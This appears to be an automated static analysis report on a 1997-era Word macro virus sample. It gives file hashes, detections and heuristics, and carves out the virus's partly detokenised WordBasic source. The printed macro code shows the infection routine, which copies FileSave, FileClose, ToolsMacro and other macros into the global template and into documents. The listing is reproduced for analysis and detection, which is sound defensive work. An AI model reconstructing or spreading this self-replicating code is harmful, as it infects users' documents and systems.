Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 19cfa6bf504fb415…

MALICIOUS

Office (OLE)

10.0 KB First seen: 2012-06-14
MD5: 905aa4f581978a8d62afdd56b3c588af SHA-1: c434a7271cdb90cf13b6886a2d012595c3c1480e SHA-256: 19cfa6bf504fb415f896115dcf429361719e3774407062656a44badb52ffe7b6
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file exhibits characteristics of a legacy macro virus, specifically identified by 'OLE_LEGACY_WORDBASIC_MACRO_VIRUS' heuristics and the presence of 'RSN MACRO VIRUS' in the document body. The embedded text suggests a self-replicating nature, common in older macro malware. While no specific network indicators are present, the file's structure and heuristic firings strongly suggest a malicious intent related to macro execution and propagation.

Heuristics 3

  • ClamAV: Win.Trojan.Counter-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Counter-3
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 3808 bytes
SHA-256: 26a992607d863fb51f3e85044913252cad965cd83af4e850aa2ec0e2e585cc9c
Preview script
First 1,000 lines of the extracted script
=       17253 29551      
    29793 21349 19827 * ,   ,  
29797 ,         21605 29793 @cmd7365       29793  
    29793   17765
MAIN
REM  ----------------------------
REM  | Written by Guy Incognito |
REM  |     Bedford, England     |
REM  |       on 26/09/97        |
REM  ----------------------------
DestFile$ = @cmd8025
@cmd00d1 = 0
= 25199 25625
Text$ = @cmd80be "Generation"
@cmd8003 Text$ 14 Text$ = "0"
Number = @cmd8006 Text$ = 1
Space$ = @cmd8007 Number
Text$ = @cmd80ea Space$
@cmd00d7 = "Generation" , = Text$ ,
@cmd80c2 DestFile$ = ":FileClose" , "FileClose"
@cmd80c2 DestFile$ = ":FileSave" , "FileSave"
@cmd80c2 DestFile$ = ":ToolsMacro" , "ToolsMacro"
@cmd80c2 DestFile$ = ":FileTemplates" , "FileTemplates"
@cmd80c2 DestFile$ = ":FileExit" , "FileExit0"
@cmd80c2 DestFile$ = ":Generation" , "Generation"
@cmd80a2
MAIN
REM  ----------------------------
REM  | Written by Guy Incognito |
REM  |     Bedford, England     |
REM  |       on 26/09/97        |
REM  ----------------------------
, -
DestFile$ = @cmd81d3
@cmd802b DestFile$
MacroFile$ = @cmd818e
@cmd00d1 = 0
MacroFile$ = DestFile$ * InfectGlobal
@cmd818d DestFile$ , 3 = * NoInfect
@cmd802b @cmd818d DestFile$ , 3
Test = @cmd800f DestFile$ , ".DOC"
@cmd802b @cmd8007 Test
Test = 0 * NoInfect
Text$ = @cmd80be "Generation"
@cmd8003 Text$ 14 Text$ = "0"
Number = @cmd8006 Text$ = 1
Space$ = @cmd8007 Number
Text$ = @cmd80ea Space$
@cmd00d7 = "Generation" , = Text$ ,
@cmd80c2 "FileClose" , DestFile$ = ":FileClose"
@cmd80c2 "FileSave" , DestFile$ = ":FileSave"
@cmd80c2 "ToolsMacro" , DestFile$ = ":ToolsMacro"
@cmd80c2 "FileTemplates" , DestFile$ = ":FileTemplates"
@cmd80c2 "FileExit0" , DestFile$ = ":FileExit"
@cmd80c2 "Generation" , DestFile$ = ":Generation"
    8300    
,  
+    
  21349       9317 ,       ,  
@cmd0054 = DestFile$ , = 1
* Exit
= 25199 25625
Text$ = @cmd80be "Generation"
@cmd8003 Text$ 14 Text$ = "0"
Number = @cmd8006 Text$ = 1
Space$ = @cmd8007 Number
Text$ = @cmd80ea Space$
@cmd00d7 = "Generation" , = Text$ ,
@cmd80c2 DestFile$ = ":FileClose" , "FileClose"
@cmd80c2 DestFile$ = ":FileSave" , "FileSave"
@cmd80c2 DestFile$ = ":ToolsMacro" , "ToolsMacro"
@cmd80c2 DestFile$ = ":FileTemplates" , "FileTemplates"
@cmd80c2 DestFile$ = ":FileExit" , "FileExit0"
@cmd80c2 DestFile$ = ":Generation" , "Generation"
@cmd0053
MAIN
REM  ----------------------------
REM  | Written by Guy Incognito |
REM  |     Bedford, England     |
REM  |       on 26/09/97        |
REM  ----------------------------
, -
DestFile$ = @cmd81d3
MacroFile$ = @cmd818e
@cmd00d1 = 0
MacroFile$ = DestFile$ * InfectGlobal
@cmd818d DestFile$ , 3 = * NoInfect
Test = @cmd800f DestFile$ , ".DOC"
Test = 0 * NoInfect
Text$ = @cmd80be "Generation"
@cmd8003 Text$ 14 Text$ = "0"
Number = @cmd8006 Text$ = 1
Space$ = @cmd8007 Number
Text$ = @cmd80ea Space$
@cmd00d7 = "Generation" , = Text$ ,
@cmd80c2 "FileClose" , DestFile$ = ":FileClose"
@cmd80c2 "FileSave" , DestFile$ = ":FileSave"
@cmd80c2 "ToolsMacro" , DestFile$ = ":ToolsMacro"
@cmd80c2 "FileTemplates" , DestFile$ = ":FileTemplates"
@cmd80c2 "FileExit0" , DestFile$ = ":FileExit"
@cmd80c2 "Generation" , DestFile$ = ":Generation"
    8300    
,  
+    
  21349       9317 ,       ,  
=   17253 29551  
@cmd0054 = DestFile$ , = 1
@cmd80a0 2
* Exit
= 25199 25625
Text$ = @cmd80be "Generation"
@cmd8003 Text$ 14 Text$ = "0"
Number = @cmd8006 Text$ = 1
Space$ = @cmd8007 Number
Text$ = @cmd80ea Space$
@cmd00d7 = "Generation" , = Text$ ,
@cmd80c2 DestFile$ = ":FileClose" , "FileClose"
@cmd80c2 DestFile$ = ":FileSave" , "FileSave"
@cmd80c2 DestFile$ = ":ToolsMacro" , "ToolsMacro"
@cmd80c2 DestFile$ = ":FileTemplates" , "FileTemplates"
@cmd80c2 DestFile$ = ":FileExit" , "FileExit0"
@cmd80c2 DestFile$ = ":Generation" , "Generation"
@cmd80a0
MAIN
    @cmd6e65  
MAIN
      @cmd6369  
MAIN